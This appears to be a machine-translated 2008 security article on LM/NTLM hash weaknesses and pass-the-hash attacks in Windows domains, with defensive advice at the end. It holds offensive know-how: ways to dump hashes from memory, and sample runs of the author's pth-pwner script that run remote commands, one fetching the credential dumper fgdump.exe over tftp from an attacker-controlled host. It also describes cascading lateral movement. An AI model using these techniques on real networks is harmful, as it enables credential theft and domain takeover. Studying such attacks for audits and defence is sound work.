1. Трохи нудною теорії. Аутентифікація і паролі
2. Навіщо мені все це в 2008 році?
3. Як отримати хеші?
4. PtH-Pwner
5. Як захиститися?
6. висновки
7. Посилання по темі:

Досвід проведення аудиту в великих корпоративних мережах наочно показує: за станом на кінець 2008 року навіть старий LanManager подекуди ще живіший за всіх живих.

Антон Карпов
Аналітик з інформаційної безпеки Digital Security
[email protected]
http://www.dsec.ru

Про проблеми безпеки протоколів LM / NTLM сказано чимало. Тому для того, щоб в черговий раз піднімати цю тему, потрібні деякі причини. І такі причини є. По-перше, досвід проведення аудиту в великих корпоративних мережах наочно показує: за станом на кінець 2008 року навіть старий LanManager подекуди ще живіший за всіх живих. Іншими словами, дана стаття, як і наведена в статті утиліта, ніколи не були б написані, якби їх актуальність не була підтверджена регулярною практикою. Друга причина є наслідком першої і полягає в регулярному появі на відомих конференціях з безпеки (BlackHat, Defcon) матеріалів на задану тематику, як і різного виду програмних засобів для проведення атак на NTLM-хеші. Тому скептикам, приготувати аргумент у вигляді слова "Kerberos", рекомендується глибоко вдихнути і піти перевірити свою Windows-мережу на наявність описуваних проблем.

Трохи нудною теорії. Аутентифікація і паролі

Щоб зрозуміти, яку роль протокол NTLM грає в аутентифікаційних процесі на Windows-машині, розглянемо, що ж відбувається після натискання заповітної комбінації Ctrl + Alt + Delete під час інтерактивного входу в систему. Процес Winlogon, а точніше, графічна бібліотека GINA (Graphical Identification and Authentication) приймає введені користувачем аутентифікаційні дані (ім'я користувача і пароль, PIN-код від смарт-карти і т.п.) і ініціює звернення до LSA (Local Security Authority). У разі здійснення локального входу, LSA виконує звернення в локальну SAM-базу для аутентифікації користувача і повертає процесу Winlogon токен доступу. Після цього, в разі успішної аутентифікації, користувач отримує доступ до графічної оболонці.
У разі використання доменної структури користувача аутентифікує не локальна LSA, а LSA на контролері домену, що зберігає облікові записи доменних користувачів в Active Directory. Для віддаленого взаємодії цих підсистем (тобто для аутентифікації користувача або комп'ютера по мережі) використовуються т.зв. аутентифікаційні пакети (authentication package), що реалізують різні протоколи аутентифікації. Таких всього два: NTLM (бібліотека MSV1_0.dll) і Kerberos (бібліотека Kerberos.dll). Починаючи з Windows 2000, для здійснення процедури доменної аутентифікації за замовчуванням використовується протокол Kerberos (строго кажучи, починаючи з Windows 2000 LSA за замовчуванням вибирає пакет Kerberos незалежно від виду входу в систему, але цей аутентифікаційний пакет не вміє виконувати локальну аутентифікацію, і в разі локального входу виконується fallback на NTLM для звернення до SAM-базі з хешамі паролів).

Паролі в Windows шифруються одним з двох можливих способів: LM і NTLM-хеш. Слабкості обох алгоритмів загальновідомі: відсутність т.зв. «Солі» (salt) для рандомізації вихідний послідовності (строго кажучи, протокол LM використовує фіксоване значення «солі» - «KGS! @ # $%», NTLM ж являє собою просто MD4-хеш пароля користувача), що відкриває можливість використання Rainbow- таблиць для підбору пароля. Крім того, LM-хеш є вкрай нестійким (максимальна довжина пароля становить 14 символів, яких бракує символи доповнюються нулями, а потім пароль ділиться на дві частини по 7 символів, які шифруються окремо за допомогою алгоритму DES) і розкривається з використанням сучасних обчислювальних потужностей за кінцеве час.

У Windows штатно присутній три механізму віддаленої аутентифікації, реалізованих в аутентифікаційних пакетах NTLM і Kerberos, про які сказано вище. Це LM / NTLM challenge-response, NTLMv2 challenge-response і Kerberos. Недоліки перших двох також загальновідомі: для аутентифікації доменним користувачем зовсім необов'язково мати його пароль, так як в процедурі аутентифікації використовується тільки хеш пароля облікового запису користувача. Саме на цій властивості протоколу побудовані атаки виду Pass-the-Hash, перша згадка про яких датується аж 1997 роком.

Навіщо мені все це в 2008 році?

Нарешті, ми підходимо до головної причини, по якій в цій статті зібрані матеріали більш ніж десятирічної практики security-спільноти, і ім'я їй - зворотна сумісність. Так, тільки лише в Windows Vista / Windows Server 2008 генерація LM-хеш за замовчуванням відключена (опція NoLmHash в розділі реєстру HKLM \ SYSTEM \ CurrentControlSet \ Control \ Lsa), всі попередні версії ОС, включаючи найпоширеніший на сьогоднішній день в корпоративному середовищі Windows Server 2003, за замовчуванням генерують і зберігають LM-хеші для паролів, довжина яких менше 14 символів. Однак це не найстрашніше. Набагато більш неприємний наступний факт: не дивлячись на те, що всі серверні версії Windows, починаючи з Server 2000, за замовчуванням використовують Kerberos для віддаленої аутентифікації користувача або ресурсу, протокол LM / NTLM challenge-response все ще підтримується і може бути використаний, якщо клієнт ініціює таке з'єднання. За цю підтримку відповідає ключ реєстру LmCompatibilityLevel в розділі реєстру HKLM \ SYSTEM \ CurrentControlSet \ Control \ Lsa, який може приймати цілочисельне значення від 0 до 5. У Windows Server 2003 цей параметр за замовчуванням має значення 2, в Windows Vista / Server 2003 - 3 , і для контролера домену означає можливість використання клієнтом LM / NTLM або NTLMv2 challenge-response протоколу для віддаленої аутентифікації.

Не дивно, що в даний час широко поширені утиліти для «ігор» з NTLM-хешамі, а сама задача отримання хеша є більш ніж актуальною. Ще б пак, адже навіть в мережі, побудованої на найсучаснішій на поточний день серверній платформі Windows Server 2008, отримання хоча б одного хеша облікового запису, що володіє адміністративними правами на будь-якому сервері, може привести до отримання віддаленого адміністративного доступу до контролера домену, а значить, і до всіх серверів і робочих станцій в домені. Цьому сприяє сильна зв'язаність в корпоративних мережах: досвід проведення аудитів показує, що ситуація, при якій виявлена ​​на одному сервері обліковий запис підійде, по крайней мере, на ще один сервер, є більш ніж типовою. Отримавши, таким чином, доступ до нового сервера і знявши з нього нові хеші паролів, є велика ймовірність ініціювати лавинний процес, який рано чи пізно призведе до отримання шуканого: облікового запису адміністратора домену. При цьому варто відзначити, що стійкість пароля не має ніякого значення, адже нічого не потрібно розшифровувати - ні за допомогою Rainbow-таблиць, ні «грубою силою».

Як отримати хеші?

У «чистому вигляді» хеші можна отримати наступним чином:
- З AD-сховища (в разі контролера домену);
- З локальної SAM-бази;
- З кешу LSA, під час активної сесії користувача.

Якщо з першими двома все зрозуміло, то третій не варто плутати з т.зв. "Cached logon accounts", які зберігаються в системі на випадок необхідності входу в домен при недоступному контролері. Під час активного локального або віддаленого сеансу роботи (наприклад, коли адміністратор підключається по RDP для виконання адміністративних завдань) LSA зберігає активні credentials в пам'яті, звідки вони можуть бути отримані за допомогою таких утиліт як whosthere.exe з набору Psh-toolkit ( http://oss.coresecurity.com/projects/pshtoolkit.htm ) Або gsecdump.exe ( http://www.truesec.com ).

Існують також альтернативні способи отримання NTLM-хеш, наприклад, досить ефективно показує себе в корпоративних мережах перехоплення хеш при здійсненні клієнтським браузером NTLM HTTP-аутентифікації. Влітку 2008 року на конференції DefCon була продемонстрована утиліта Squirtle ( http://code.google.com/p/squirtle/ ) Для проведення подібних атак. Однак NTLM-хеш пароля в разі HTTP-аутентифікації передається в повідомленні (Type 3 message) в зашифрованому випадковим значенням (nonce) вигляді і не підходить для негайного використання, вимагаючи попередньої розшифровки. Тому дані методи, хоч і є досить цікавими, виходять за рамки даної статті.

PtH-Pwner

Існує велика кількість утиліт, які дозволяють підміняти права поточного користувача (credentials), використовуючи отриманий NTLM-хеш. Найпопулярніші - це iam.exe з вищезгаданого набору Psh-toolkit і msvctl.exe від TrueSec. Вони дозволяють «представлятися» в Windows-мережі від імені скомпрометованої облікового запису для отримання доступу до мережевих ресурсів. Однак у них є два недоліки. Перший - їх використання обмежене win32-платформою, другий - обидві ці утиліти слабо підходять для автоматизації рутинних завдань. У той же час практика проведення аудитів захищеності не раз вимагала легкого і зручного вирішення завдань типу «на які ще машини підійде виявлений NTLM-хеш зі зламаного сервера», «пройтися по зламаним серверів і додати обліковий запис, витягнути нові хеші паролів» і т. п. Для автоматизації таких завдань був написаний скрипт на мові shell, по суті є зручною оболонкою для утиліти winexe (лінуксовий аналог psexec), пропатченний для можливості аутентифікації за допомогою NTLM-хеша ( http://www.foofus.net/jmk/passhash.html ). За відсутністю багатої фантазії у автора скрипт названий pth-pwner і доступний за адресою http://www.dsec.ru/dsecrg/releases/pth-pwner.tar.gz .

Скрипт функціонує під ОС Linux і може працювати в двох режимах. У першому він приймає в якості аргументів ім'я користувача (локального або доменного), хеш його пароля та адресу сервера (або підмережі). Опціонально може бути вказаний файл, в якому через підрядник вказані команди для виконання на сервері (за замовчуванням виконується команда ipconfig), список хостів також може бути вказаний у файлі і переданий в якості аргументу. Після запуску утиліта намагається аутентифицироваться переданим хешем на зазначених серверах і виконати задану команду.

$ ./Pth-pwner -u CORP \\ domadmin -s 64DFE7 ... F74F9B: ADF5F3 ... 6BB49AD2 -h 10.11.0.6

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7 ... F74F9B: ADF5F3 ... 6BB49AD2
Host / Subnet to scan: 10.11.0.6
Command to execute: ipconfig

[+] Attacking 10.129.11.6

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix. :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask. . . . . . . . . . . : 255.255.254.0
Default Gateway. . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!

All done. 1 scanned, 1 succeeded

$ ./Pth-pwner.sh -u LocAdmin -s 64DFE71 ... F74F9B: ADF5 ... 116BB49AD2 -f hosts.txt -c commands.txt

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71 ... F74F9B: ADF5 ... 116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt

[+] Attacking 10.11.0.11
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes / s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] Attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes / s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
...

Для ще більшої автоматизації процесу можна скористатися другим режимом роботи скрипта. Припустимо, у нас є результат роботи утиліти gsecdump.exe з будь-якого сервера. Передавши за допомогою ключа -g на вхід скрипту замість одного NTLM-хеша файл з хешамі в форматі gsecdump, ми змусимо його перевірити кожну присутню в файлі запис на можливість аутентифікації на заданих хостах. Очевидно, що, передавши в якості команди закачування і виконання на скомпрометованих хостах утиліти gsecdump.exe, ми можемо ініціювати той самий лавинний ефект, який приведе до злому все більшої і більшої кількості хостів на кожній ітерації.

Як захиститися?

Очевидно, що ніяка парольний політика від описаних атак не врятує, так пароль не береться розшифровці, а значить, його стійкість не має ніякого значення. Перехід на двохфакторну методи аутентифікації, як не дивно, теж не виправить ситуацію. NTLM занадто «глибоко вшитий» в систему і відключити його повністю не представляється можливим. Так, в Windows 2000 при переході на аутентифікацію за смарт-картками хеш пароля все одно зберігається в базі без змін. У Windows 2003 пароль змінюється на випадкову послідовність, але, як сказано вище, ролі це ніякий не грає.

Фахівці з Compass Security AG провели цікаве дослідження ( http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf ), В якому спробували як повністю деактивувати аутентифікаційний пакет NTLM в реєстрі, так і фізично видалити бібліотеку MSV1_0.dll з робочої станції під управлінням Windows XP в домені. В обох випадках ні локальний, ні доменний вхід систему став неможливий.

Всі типові рекомендації (відключення зберігання LM-хеш на серверах і робочих станціях, виставлення параметра LmCompatibilityLevel в максимально можливе значення, відключення локального зберігання кешованих акаунтів і подальша очищення кешу і т.п.) не є панацеєю від проблеми.

В якійсь мірі допомогти може примусове шифрування трафіку і аутентифікація хостів за допомогою IPSec, для неможливості використання хеша з недовірених систем. Для цього необхідно налаштувати відповідні політики на контролері домену.

висновки

Алгоритм LanManager (LM) був розроблений на початку 90-х років минулого століття. Операційна система Windows Server 2003 вийшла тринадцять років по тому. І тим не менше, в ній все ще зберігалися паролі користувачів, зашифровані з застосуванням цього алгоритму. Винуватицею даного факту, як і того, що описані в статті атаки далеко не першої свіжості відмінно працюють в сучасних Windows-мережах, є вона - та, яка викликає скрип зубів у розробників і крики розпачу користувачів. Ім'я їй - backward compatibility.

Посилання по темі:

http://technet.microsoft.com/ru-ru/magazine/cc160954(en-us).aspx
http://technet.microsoft.com/en-us/library/cc780332.aspx
http://www.securitylab.ru/contest/212100.php
http://oss.coresecurity.com/projects/pshtoolkit.htm
http://www.foofus.net/jmk/passhash.html
http://www.truesec.com/PublicStore/catalog/Downloads,223.aspx
http://www.csnc.ch/static/download/Hash_Injection_Attack_E.pdf
http://truesecurity.se/blogs/murray/archive/2007/03/16/why-an-exposed-lm-ntlm-hash-is-comparable-to-a-clear-text-password.aspx
http://www.innovation.ch/personal/ronald/ntlm.html
http://davenport.sourceforge.net/ntlm.html
http://www.foofus.net/fizzgig/fgdump/
http://carnal0wnage.blogspot.com/2008/03/msvctl-pass-hash-action.html
http://code.google.com/p/squirtle/
http://grutztopia.jingojango.net/